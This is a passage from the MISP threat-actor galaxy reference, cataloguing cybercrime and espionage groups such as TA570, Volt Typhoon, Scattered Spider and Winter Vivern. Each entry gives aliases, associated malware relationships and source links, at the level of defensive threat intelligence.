The tag is: *misp-galaxy:threat-actor="Malteiro"*

View relationships graph

Malteiro has relationships with:

- delivers: misp-galaxy:banker="Malteiro" with estimative-language:likelihood-probability="likely"

Table 18495. Table References

Links
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/

https://blog.scilabs.mx/cyber-threat-profile-malteiro/

Moskalvzapoe

The tag is: *misp-galaxy:threat-actor="Moskalvzapoe"*

Moskalvzapoe is also known as:

- MAN1
- TA511

View relationships graph

Moskalvzapoe has relationships with:

- uses: misp-galaxy:malpedia="Hancitor" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-malware="Hancitor - S0499" with estimative-language:likelihood-probability="very-likely"

Table 18496. Table References

Links
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://vixra.org/abs/1902.0257
https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/
https://unit42.paloaltonetworks.com/threat-brief-hancitor-actors/

TA570

One of the most active Qbot malware affiliates, Proofpoint has tracked the large cybercrime threat actor TA570 since 2018.

The tag is: *misp-galaxy:threat-actor="TA570"*

TA570 is also known as:

- DEV-0450

View relationships graph

TA570 has relationships with:

- uses: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-malware="QakBot - S0650" with estimative-language:likelihood-

probability="very-likely"

Table 18497. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://therecord.media/hackers-using-follina-windows-zero-day-to-spread-qbot-malware/
https://isc.sans.edu/diary/TA570+Qakbot+Qbot+tries+CVE202230190+Follina+exploit+msmsdt/28728
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

TA575

TA575 is a Dridex affiliate tracked by Proofpoint since late 2020. This group distributes malware such as Dridex, Qakbot, and WastedLocker via malicious URLs, Office attachments, and password-protected files. On average, TA575 distributes almost 4,000 messages per campaign impacting hundreds of organizations.

The tag is: *misp-galaxy:threat-actor="TA575"*

View relationships graph

TA575 has relationships with:

- uses: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-malware="Dridex - S0384" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-malware="QakBot - S0650" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:malpedia="WastedLocker" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-malware="WastedLocker - S0612" with estimative-language:likelihood-probability="very-likely"

Table 18498. Table References

Links
https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware
https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware

https://www.zdnet.com/article/ta575-criminal-group-using-squid-game-lures-for-dridex-malware/
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

TA577

TA577 is a prolific cybercrime threat actor tracked by Proofpoint since mid-2020. This actor conducts broad targeting across various industries and geographies, and Proofpoint has observed TA577 deliver payloads including Qbot, IcedID, SystemBC, SmokeLoader, Ursnif, and Cobalt Strike.

The tag is: *misp-galaxy:threat-actor="TA577"*

TA577 is also known as:

- Hive0118

View relationships graph

TA577 has relationships with:

- uses: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="QakBot - S0650" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="SystemBC (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 18499. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://thehackernews.com/2021/06/ransomware-attackers-partnering-with.html
https://www.itpro.com/security/ransomware/359919/ransomware-criminals-look-to-other-hackers-to-provide-them-with-network
https://exchange.xforce.ibmcloud.com/threat-group/guid:1dda890fa2662ed26b451c703e922315

TA2536

TA2536, which has been active since at least 2015, is likely Nigerian based on its unique linguistic style, tactics and tools. It uses keyloggers such as HawkEye and distinctive stylometric features in

typo-squatted domains that resemble legitimate names and the use of recurring names and substrings in email addresses.

The tag is: *misp-galaxy:threat-actor="TA2536"*

View relationships graph

TA2536 has relationships with:

- uses: misp-galaxy:malpedia="Nanocore RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Agent Tesla" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Remcos" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Formbook" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="HawkEye Keylogger" with estimative-language:likelihood-probability="likely"

Table 18500. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1

DEV-0147

DEV-0147 is a China-based cyber espionage actor was observed compromising diplomatic targets in South America, a notable expansion of the group's data exfiltration operations that traditionally targeted gov't agencies and think tanks in Asia and Europe. DEV-0147 is known to use tools like ShadowPad, a remote access trojan associated with other China-based actors, to maintain persistent access, and QuasarLoader, a webpack loader, to deploy additional malware. DEV-0147's attacks in South America included post-exploitation activity involving the abuse of on-premises identity infrastructure for recon and lateral movement, and the use of Cobalt Strike for command and control and data exfiltration.

The tag is: *misp-galaxy:threat-actor="DEV-0147"*

Table 18501. Table References

Links
https://twitter.com/MsftSecIntel/status/1625181255754039318

TA406

TA406 is engaging in malware distribution, phishing, intelligence collection, and cryptocurrency theft, resulting in a wide range of criminal activities.

The tag is: *misp-galaxy:threat-actor="TA406"*

View relationships graph

TA406 has relationships with:

- part-of: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 18502. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/triple-threat-north-korea-aligned-ta406-scams-spies-and-steals
https://www.proofpoint.com/us/blog/threat-insight/ta406-pivots-front

APT42

Iranian state-sponsored cyber espionage group tasked with conducting information collection and surveillance operations against individuals and organizations of strategic interest to the Iranian government.

The tag is: *misp-galaxy:threat-actor="APT42"*

APT42 is also known as:

- UNC788
- CALANQUE

View relationships graph

APT42 has relationships with:

- similar: misp-galaxy:threat-actor="APT35" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

Table 18503. Table References

Links
https://www.mandiant.com/resources/blog/apt42-charms-cons-compromises
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

TA453

TA453 has employed the use of compromised accounts, malware, and confrontational lures to go after targets with a range of backgrounds from medical researchers to realtors to travel agencies.

The tag is: *misp-galaxy:threat-actor="TA453"*

View relationships graph

TA453 has relationships with:

- similar: misp-galaxy:threat-actor="APT42" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT35" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

Table 18504. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta453-refuses-be-bound-expectations
https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential

Chamelgang

In Q2 2021, the PT Expert Security Center incident response team conducted an investigation in an energy company. The investigation revealed that the company's network had been compromised by an unknown group for the purpose of data theft. They gave the group the name ChamelGang (from the word "chameleon"), because the group disguised its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.

The tag is: *misp-galaxy:threat-actor="Chamelgang"*

Chamelgang is also known as:

- CamoFei

View relationships graph

Chamelgang has relationships with:

- uses: misp-galaxy:malpedia="DoorMe" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 18505. Table References

Links
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/
https://www.sentinelone.com/labs/chamelgang-attacking-critical-infrastructure-with-ransomware/

Karakurt

Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.

The tag is: *misp-galaxy:threat-actor="Karakurt"*

Karakurt is also known as:

- Karakurt Lair

View relationships graph

Karakurt has relationships with:

- uses: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="MimiKatz" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="AnyDesk" with estimative-language:likelihood-probability="likely"

Table 18506. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.accenture.com/us-en/blogs/cyber-defense/karakurt-threat-mitigation

DEV-0270

Microsoft threat intelligence teams have been tracking multiple ransomware campaigns and have tied these attacks to DEV-0270, also known as Nemesis Kitten, a sub-group of Iranian actor PHOSPHORUS. Microsoft assesses with moderate confidence that DEV-0270 conducts malicious network operations, including widespread vulnerability scanning, on behalf of the government of Iran.

The tag is: *misp-galaxy:threat-actor="DEV-0270"*

DEV-0270 is also known as:

- Nemesis Kitten
- Storm-0270

View relationships graph

DEV-0270 has relationships with:

- part-of: misp-galaxy:threat-actor="APT35" with estimative-language:likelihood-probability="likely"

Table 18507. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/

Prophet Spider

PROPHET SPIDER is an eCrime actor, active since at least May 2017, that primarily gains access to victims by compromising vulnerable web servers, which commonly involves leveraging a variety of publicly disclosed vulnerabilities. The adversary has likely functioned as an access broker — handing off access to a third party to deploy ransomware — in multiple instances.

The tag is: *misp-galaxy:threat-actor="Prophet Spider"*

Prophet Spider is also known as:

- GOLD MELODY
- UNC961

View relationships graph

Prophet Spider has relationships with:

- uses: misp-galaxy:malpedia="Egregor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Mount Locker" with estimative-language:likelihood-probability="likely"

Table 18508. Table References

Links
https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/
https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/
https://www.secureworks.com/research/gold-melody-profile-of-an-initial-access-broker
https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated

TA866

According to Proofpoint, TA866 is a newly identified threat actor that distributes malware via email utilizing both commodity and custom tools. While most of the activity observed occurred since October 2022, Proofpoint researchers identified multiple activity clusters since 2019 that overlap

with TA866 activity. Most of the activity recently observed by Proofpoint suggests recent campaigns are financially motivated, however assessment of historic related activities suggests a possible, additional espionage objective.

The tag is: *misp-galaxy:threat-actor="TA866"*

View relationships graph

TA866 has relationships with:

- uses: misp-galaxy:tool="WasabiSeed" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Screenshotter" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:stealer="Rhadamanthys" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="AHK Bot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tds="404 TDS" with estimative-language:likelihood-probability="likely"

Table 18509. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me

Anonymous Sudan

Since January 23, 2023, a threat actor identifying as "Anonymous Sudan" has been conducting denial of service (DDoS) attacks against multiple organizations in Sweden. This group claims to be "hacktivists," politically motivated hackers from Sudan. According to Truesec's report, the threat actor has nothing to do with the online activists collectively known as Anonymous.

The tag is: *misp-galaxy:threat-actor="Anonymous Sudan"*

Table 18510. Table References

Links
https://files.truesec.com/hubfs/Reports/Anonymous%20Sudan%20-%20Publish%201.2%20-%20a%20Truesec%20Report.pdf
https://www.truesec.com/hub/blog/what-is-anonymous-sudan

RedGolf

Recorded Future's Insikt Group has identified a large cluster of new operational infrastructure associated with use of the custom Windows and Linux backdoor KEYPLUG. We attribute this activity to a threat activity group tracked as RedGolf, which is highly likely to be a Chinese state-sponsored group. RedGolf closely overlaps with threat activity reported in open sources under the aliases APT41/BARIUM and has likely carried out state-sponsored espionage activity in parallel with financially motivated operations for personal gain from at least 2014 onward.

The tag is: *misp-galaxy:threat-actor="RedGolf"*

View relationships graph

RedGolf has relationships with:

- overlaps: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="KEYPLUG" with estimative-language:likelihood-probability="likely"

Table 18511. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf
https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer

APT43

- APT43 is a prolific cyber operator that supports the interests of the North Korean regime. The group combines moderately-sophisticated technical capabilities with aggressive social engineering tactics, especially against South Korean and U.S.-based government organizations, academics, and think tanks focused on Korean peninsula geopolitical issues.
- In addition to its espionage campaigns, we believe APT43 funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence.
- The group creates numerous spoofed and fraudulent personas for use in social engineering, as well as cover identities for purchasing operational tooling and infrastructure.
- APT43 has collaborated with other North Korean espionage operators on multiple operations, underscoring the major role APT43 plays in the regime's cyber apparatus.

The tag is: *misp-galaxy:threat-actor="APT43"*

Table 18512. Table References

Links
https://www.mandiant.com/resources/blog/apt43-north-korea-cybercrime-espionage
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

Hagga

Hagga is believed to have been using Agent Tesla, 2021's sixth most prevalent malware, to steal sensitive information from his victims since the latter part of 2021.

The tag is: *misp-galaxy:threat-actor="Hagga"*

Hagga is also known as:

- Aggah
- TH-157

View relationships graph

Hagga has relationships with:

- uses: misp-galaxy:tool="Agent Tesla" with estimative-language:likelihood-probability="likely"

Table 18513. Table References

Links
https://www.team-cymru.com/post/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor
https://otx.alienvault.com/pulse/62cfe4ef3415be5f83be81d1
https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor/
https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/

Volt Typhoon

[Microsoft] Volt Typhoon, a state-sponsored actor based in China that typically focuses on espionage and information gathering. Microsoft assesses with moderate confidence that this Volt Typhoon campaign is pursuing development of capabilities that could disrupt critical communications infrastructure between the United States and Asia region during future crises.

[Secureworks] BRONZE SILHOUETTE likely operates on behalf the PRC. The targeting of U.S. government and defense organizations for intelligence gain aligns with PRC requirements, and the tradecraft observed in these engagements overlap with other state-sponsored Chinese threat groups.

The tag is: *misp-galaxy:threat-actor="Volt Typhoon"*

Volt Typhoon is also known as:

- BRONZE SILHOUETTE
- VANGUARD PANDA
- UNC3236

- Insidious Taurus
- VOLTZITE
- Dev-0391
- Storm-0391

Table 18514. Table References

Links
https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/
https://unit42.paloaltonetworks.com/volt-typhoon-threat-brief/
https://www.dragos.com/threat/voltzite/

SmugX

The campaign, called SmugX, overlaps with previously reported activity by Chinese APT actors RedDelta and Mustang Panda. Although those two correlate to some extent with Camaro Dragon, there is insufficient evidence to link the SmugX campaign to the Camaro Dragon group.

The campaign uses new delivery methods to deploy (most notably – HTML Smuggling) a new variant of PlugX, an implant commonly associated with a wide variety of Chinese threat actors. Although the payload itself remains similar to the one found in older PlugX variants, its delivery methods results in low detection rates, which until recently helped the campaign fly under the radar.

The tag is: *misp-galaxy:threat-actor="SmugX"*

Table 18515. Table References

Links
https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/

RedDelta

Likely Chinese state-sponsored threat activity group RedDelta targeting organizations within Europe and Southeast Asia using a customized variant of the PlugX backdoor. Since at least 2019, RedDelta has been consistently active within Southeast Asia, particularly in Myanmar and Vietnam, but has also routinely adapted its targeting in response to global geopolitical events. This is historically evident through the group's targeting of the Vatican and other Catholic organizations in the lead-up to 2021 talks between Chinese Communist Party (CCP) and Vatican officials, as well as throughout 2022 through the group's shift towards increased targeting of European government and diplomatic entities following Russia's invasion of Ukraine.

During the 3-month period from September through November 2022, RedDelta has regularly used

an infection chain employing malicious shortcut (LNK) files, which trigger a dynamic-link library (DLL) search-order-hijacking execution chain to load consistently updated PlugX versions. Throughout this period, the group repeatedly employed decoy documents specific to government and migration policy within Europe. Of note, we identified a European government department focused on trade communicating with RedDelta command-and-control (C2) infrastructure in early August 2022. This activity commenced on the same day that a RedDelta PlugX sample using this C2 infrastructure and featuring an EU trade-themed decoy document surfaced on public malware repositories. We also identified additional probable victim entities within Myanmar and Vietnam regularly communicating with RedDelta C2 infrastructure.

RedDelta closely overlaps with public industry reporting under the aliases BRONZE PRESIDENT, Mustang Panda, TA416, Red Lich, and HoneyMyte.

The tag is: *misp-galaxy:threat-actor="RedDelta"*

View relationships graph

RedDelta has relationships with:

- overlaps: misp-galaxy:threat-actor="MUSTANG PANDA" with estimative-language:likelihood-probability="likely"
- overlaps: misp-galaxy:mitre-intrusion-set="Mustang Panda - G0129" with estimative-language:likelihood-probability="likely"

Table 18516. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2022-1223.pdf

Worok

Worok is a cyber espionage group, mostly targeting Central Asia. The group toolset includes a C++ loader named CLRLoad, a PowerShell backdoor named PowHeartBeat, and a C# loader named PNGLoad.

The tag is: *misp-galaxy:threat-actor="Worok"*

Table 18517. Table References

Links
https://www.welivesecurity.com/2022/09/06/worok-big-picture/

MoustachedBouncer

MoustachedBouncer is a cyberespionage group discovered by ESET Research and first publicly disclosed in August 2023. The group has been active since at least 2014 and only targets foreign embassies in Belarus. Since 2020, MoustachedBouncer has most likely been able to perform adversary-in-the-middle (AitM) attacks at the ISP level, within Belarus, in order to compromise its targets. The group uses two separate toolsets that we have named NightClub and Disco.

The tag is: *misp-galaxy:threat-actor="MoustachedBouncer"*

Table 18518. Table References

Links
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

Storm-0324

The threat actor that Microsoft tracks as Storm-0324 is a financially motivated group known to gain initial access using email-based initial infection vectors and then hand off access to compromised networks to other threat actors. These handoffs frequently lead to ransomware deployment.

The tag is: *misp-galaxy:threat-actor="Storm-0324"*

Storm-0324 is also known as:

- DEV-0324
- Sagrid
- TA543

View relationships graph

Storm-0324 has relationships with:

- uses: misp-galaxy:malpedia="JSSLoader" with estimative-language:likelihood-probability="likely"

Table 18519. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/09/12/malware-distributor-storm-0324-facilitates-ransomware-access/
https://www.proofpoint.com/us/blog/threat-insight/jssloader-recoded-and-reloaded

Scattered Canary

When the first member of Scattered Canary, who, for the purposes of this report, we call Alpha, began his operations, he was a lone wolf—working mostly Craigslist scams as he learned the tricks of the trade from a mentor. However, within a few years, he had honed his craft enough to expand into romance scams, where he met his first “employee,” Beta. Once they had secured enough mules via their romance scams to launder their stolen money, they shifted from targeting individuals to targeting enterprises, and the group’s BEC operation was born.

The tag is: *misp-galaxy:threat-actor="Scattered Canary"*

Table 18520. Table References

Links
https://cofense.com/blog/gift-card-fraud-ecosystem-shifts-what-paxfuls-closing-means-for-business-email-compromise/
https://static.fortra.com/agari/pdfs/guide/ag-scattered-canary-gd.pdf
https://www.agari.com/blog/covid-19-unemployment-fraud-cares-act?_gl=1%2Ayzg6ns%2A_ga%2AMTkyMzIyOTI4MC4xNjk2MjUyMDA2%2A_ga_NHMHGJWX49%2AMTY5NjI1MjAwNS4xLjAuMTY5NjI1MjAwNS42MC4wLjA.&utm_source=press-release&utm_medium=prnewswire&utm_campaign=scattered20

Scattered Spider

Scattered Spider, a highly active hacking group, has made headlines by targeting more than 130 organizations, with the number of victims steadily increasing.

The tag is: *misp-galaxy:threat-actor="Scattered Spider"*

Scattered Spider is also known as:

- UNC3944
- Muddled Libra
- Oktapus
- Scattered Swine
- Scatter Swine
- Octo Tempest
- 0ktapus
- Storm-0971
- DEV-0971
- Starfraud

Table 18521. Table References

Links
https://www.cybersecurity-insiders.com/scattered-spider-managed-mgm-resort-network-outage-brings-8m-loss-daily/
https://www.loginradius.com/blog/identity/oktapus-phishing-targets-okta-identity-credentials/
https://www.attackiq.com/2023/11/21/attack-graph-response-to-cisa-advisory-aa23-320a/
https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware

AtlasCross

NSFOCUS Security Labs recently discovered a new attack process based on phishing documents in their daily threat-hunting operations. Delving deeper into this finding through extensive research,

they confirmed two new Trojan horse programs and many rare attack techniques and tactics. NSFOCUS Security Labs believes that this new attack process comes from a new APT attacker, who has a high technical level and cautious attack attitude. The phishing attack activity captured this time is part of the attacker's targeted strike on specific targets and is its main means to achieve in-domain penetration. NSFOCUS Security Labs validated the high-level threat attributes of AtlasCross in terms of development technology and attack strategy through an in-depth analysis of its attack metrics. At this current stage, AtlasCross has a relatively limited scope of activity, primarily focusing on targeted attacks against specific hosts within a network domain. However, the attack processes they employ are highly robust and mature. NSFOCUS Security Labs deduce that this attacker is highly likely to deploy this attack process into larger-scale network attack operations.

The tag is: *misp-galaxy:threat-actor="AtlasCross"*

View relationships graph

AtlasCross has relationships with:

- uses: misp-galaxy:tool="DangerAds" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="AtlasAgent" with estimative-language:likelihood-probability="likely"

Table 18522. Table References

Links
https://nsfocusglobal.com/warning-newly-discovered-apt-attacker-atlascross-exploits-red-cross-blood-drive-phishing-for-cyberattack/

Void Rabisu

Void Rabisu is an intrusion set associated with both financially motivated ransomware attacks and targeted campaigns on Ukraine and countries supporting Ukraine.

The tag is: *misp-galaxy:threat-actor="Void Rabisu"*

Void Rabisu is also known as:

- Tropical Scorpius

View relationships graph

Void Rabisu has relationships with:

- uses: misp-galaxy:malpedia="Cuba" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="ROMCOM RAT" with estimative-language:likelihood-probability="likely"

Table 18523. Table References

Links

https://www.trendmicro.com/en_us/research/23/j/void-rabisu-targets-female-leaders-with-new-romcom-variant.html
https://www.trendmicro.com/en_za/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html

Camaro Dragon

In early 2023, the Check Point Incident Response Team (CPIRT) team investigated a malware incident at a European healthcare institution involving a set of tools mentioned in the Avast report in late 2022. The incident was attributed to Camaro Dragon, a Chinese-based espionage threat actor whose activities overlap with activities tracked by different researchers as Mustang Panda and LuminousMoth, whose focus is primarily on Southeast Asian countries and their close peers.

The tag is: *misp-galaxy:threat-actor="Camaro Dragon"*

Table 18524. Table References

Links
https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/
https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/

Storm-0558

Storm-0558 is a China-based threat actor with espionage objectives. While there are some minimal overlaps with other Chinese groups such as Violet Typhoon (ZIRCONIUM, APT31), Microsoft maintain high confidence that Storm-0558 operates as its own distinct group

The tag is: *misp-galaxy:threat-actor="Storm-0558"*

Table 18525. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/
https://www.wiz.io/blog/storm-0558-compromised-microsoft-key-enables-authentication-of-countless-micr
https://msrc.microsoft.com/blog/2023/09/results-of-major-technical-investigations-for-storm-0558-key-acquisition/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://blogs.microsoft.com/on-the-issues/2023/07/11/mitigation-china-based-threat-actor/

https://msrc.microsoft.com/blog/2023/07/microsoft-mitigates-china-based-threat-actor-storm-0558-targeting-of-customer-email/
https://www.youtube.com/watch?v=khywfhJv4H8
https://www.cisa.gov/sites/default/files/2024-04/CSRB_Review_of_the_Summer_2023_MEO_Intrusion_Final_508c.pdf

Scarred Manticore

Scarred Manticore has been pursuing high-value targets for years, utilizing a variety of IIS-based backdoors to attack Windows servers. These include a variety of custom web shells, custom DLL backdoors, and driver-based implants.

The tag is: *misp-galaxy:threat-actor="Scarred Manticore"*

Table 18526. Table References

Links
https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/

Keksec

The threat group behind EnemyBot, Keksec, is well-resourced and has the ability to update and add new capabilities to its arsenal of malware on a daily basis (see below for more detail on Keksec)

The tag is: *misp-galaxy:threat-actor="Keksec"*

Table 18527. Table References

Links
https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet
https://www.cybersecurity-insiders.com/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers-and-android-devices/?utm_source=rss&utm_medium=rss&utm_campaign=rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers-and-android-devices
https://blog.netlab.360.com/necro-upgrades-again-using-tor-dynamic-domain-dga-and-aiming-at-both-windows-linux/
https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/

Xiaoqiying

Xiaoqiying is a primarily Chinese-speaking threat group that is most well known for conducting website defacement and data exfiltration attacks on more than a dozen South Korean research and academic institutions in late-January 2023. Research from Recorded Futures Insikt Group has found that the groups affiliated threat actors have signaled a new round of cyberattacks against

organizations in Japan and Taiwan. Although it shows no clear ties to the Chinese government, Xiaoqiying is staunchly pro-China and vows to target NATO countries as well as any country or region that is deemed hostile to China.

The tag is: *misp-galaxy:threat-actor="Xiaoqiying"*

Xiaoqiying is also known as:

- Genesis Day
- Teng Snake

Table 18528. Table References

Links
https://www.recordedfuture.com/xiaoqiying-genesis-day-threat-actor-group-targets-south-korea-taiwan
https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a
https://therecord.media/samsung-investigating-claims-of-hack-on-south-korea-systems-internal-employee-platform/

Winter Vivern

Winter Vivern is a cyberespionage group first revealed by DomainTools in 2021. It is thought to have been active since at least 2020 and it targets governments in Europe and Central Asia. To compromise its targets, the group uses malicious documents, phishing websites, and a custom PowerShell backdoor.

The tag is: *misp-galaxy:threat-actor="Winter Vivern"*

Winter Vivern is also known as:

- UAC-0114
- TA473
- TAG-70
- TA-473

Table 18529. Table References

Links
https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/
https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs
https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/
https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability

https://socprime.com/blog/uac-0114-group-aka-winter-vivern-attack-detection-hackers-launch-malicious-phishing-campaigns-targeting-government-entities-of-ukraine-and-poland/
https://cybersecuritynews.com/russian-hackers-xss-flaw/
https://www.recordedfuture.com/russia-aligned-tag-70-targets-european-government-and-military-mail
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

UNC3886

UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix operating systems.

The tag is: *misp-galaxy:threat-actor="UNC3886"*

Table 18530. Table References

Links
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence
https://www.mandiant.com/resources/blog/vmware-esxi-zero-day-bypass
https://www.mandiant.com/resources/blog/vmware-detection-containment-hardening

Earth Longzhi

Earth Longzhi is a subgroup of APT41 targeting organizations based in Taiwan, Thailand, the Philippines, and Fiji, and using “stack rumbling” via Image File Execution Options (IFEO), a new denial-of-service (DoS) technique to disable security software.

The tag is: *misp-galaxy:threat-actor="Earth Longzhi"*

Earth Longzhi is also known as:

- SnakeCharmer

Table 18531. Table References

Links
https://www.picussecurity.com/resource/blog/cyber-threat-intelligence-report-may-2023

https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html
https://ics-cert.kaspersky.com/publications/reports/2023/03/24/apt-attacks-on-industrial-organizations-in-h2-2022/
